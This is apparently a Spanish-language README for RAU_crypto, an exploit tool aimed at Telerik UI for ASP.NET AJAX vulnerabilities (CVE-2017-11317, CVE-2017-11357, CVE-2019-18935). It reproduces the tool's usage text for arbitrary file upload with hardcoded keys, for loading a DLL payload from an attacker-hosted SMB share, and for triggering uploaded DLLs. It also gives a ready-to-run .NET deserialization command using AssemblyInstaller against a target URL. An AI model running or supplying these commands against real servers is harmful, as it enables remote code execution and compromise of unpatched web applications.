
Telerik UI for ASP.NET AJAX Carga de archivos y exploit de deserialización de .NET (CVE-2017-11317, CVE-2017-11357, CVE-2019-18935)
Exploit combinado para Telerik UI for ASP.NET AJAX.
Ahora admite la comprobación de la capacidad del objetivo para obtener payloads remotos desde un servicio SMB alojado por un atacante. Use Burp Collaborator y/o Responder para facilitar la comprobación de si los requisitos previos necesarios están en su lugar.
Para que la explotación funcione, generalmente necesita una versión con claves codificadas, o necesita conocer la clave, por ejemplo si puede divulgar el contenido de web.config. El exploit también permite el descifrado y cifrado sencillo de rauPostData utilizado con Telerik.Web.UI.WebResource.axd?type=rau
pip3 install pycryptodome o pip3 install pycryptodomexMi otro exploit de Telerik UI (para CVE-2017-9248) probablemente también sea de interés. Está disponible aquí:
Nota - los últimos cuatro elementos están completos pero no liberados.
La vulnerabilidad de subida de archivos (CVE-2017-11317) fue descubierta por otros, creo que los créditos corresponden a @straight_blast @pwntester @olekmirosh. Poco después de que se anunciara, me encontré con la librería Telerik durante el curso de mi trabajo, así que la investigué junto con la vulnerabilidad y escribí este exploit en julio de 2017. También reporté CVE-2017-11357 por la referencia insegura directa a objetos relacionada.
La vulnerabilidad de deserialización .NET (CVE-2019-18935) fue descubierta por @mwulftange.
https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization
$ ./RAU_crypto.py -h
RAU_crypto by Paul Taylor / @bao7uo
CVE-2017-11317, CVE-2019-18935 - Telerik RadAsyncUpload hardcoded keys / arbitrary file upload / .NET deserialisation
Usage:
Decrypt a ciphertext: -d ciphertext
Decrypt rauPostData: -D rauPostData
Encrypt a plaintext: -e plaintext
Generate file upload rauPostData: -E c:\\destination\\folder Version
Generate all file upload POST data: -p c:\\destination\\folder Version ../local/filename
Upload file: -P c:\\destination\\folder Version c:\\local\\filename url [proxy]
Generate custom payload POST data : -c partA partB
Send custom payload: -C partA partB url [proxy]
Check remote SMB payload capability -r lhost url [proxy]
Load remote SMB dll payload -R lhost/share/mixed_mode_assembly.dll url [proxy]\n\n" +
Trigger local uploaded dll payload -L c:/users/public/documents/mixed_mode_assembly.dll url [proxy]\n\n" +
Example URL: http://target/Telerik.Web.UI.WebResource.axd?type=rau
Example Version: 2016.2.504
Example optional proxy: 127.0.0.1:8080
N.B. Advanced settings e.g. custom keys or PBKDB algorithm can be found by searching source code for: ADVANCED_SETTINGS
$
Decrypt screenshot
Upload screenshot
Para obtener detalles sobre payloads personalizados para deserialización .NET, hay un excelente artículo de @mwulftange quien descubrió esta vulnerabilidad en el blog de Code White en el siguiente enlace.
Actualización - Hay un exploit alternativo de Caleb Gross @noperator, que incorpora características de este exploit, con un excelente artículo de blog explicándolo todo. Gracias también a Caleb por contribuir a RAU_Crypto.
Otros enlaces relevantes.
Ejemplo de payload de deserialización .NET:
$ ./RAU_crypto.py -C '{"Path":"file:///c:/users/public/documents/mixedmode64.dll"}' 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' http://target/Telerik.Web.UI.WebResource.axd?type=rau
Para DLL de modo mixto, consulte mi otro repositorio de github:
Agradecimientos especiales a @irsdl quien inspiró la función de payload personalizado.
Crédito a @rwincey quien inspiró la función de dll remoto.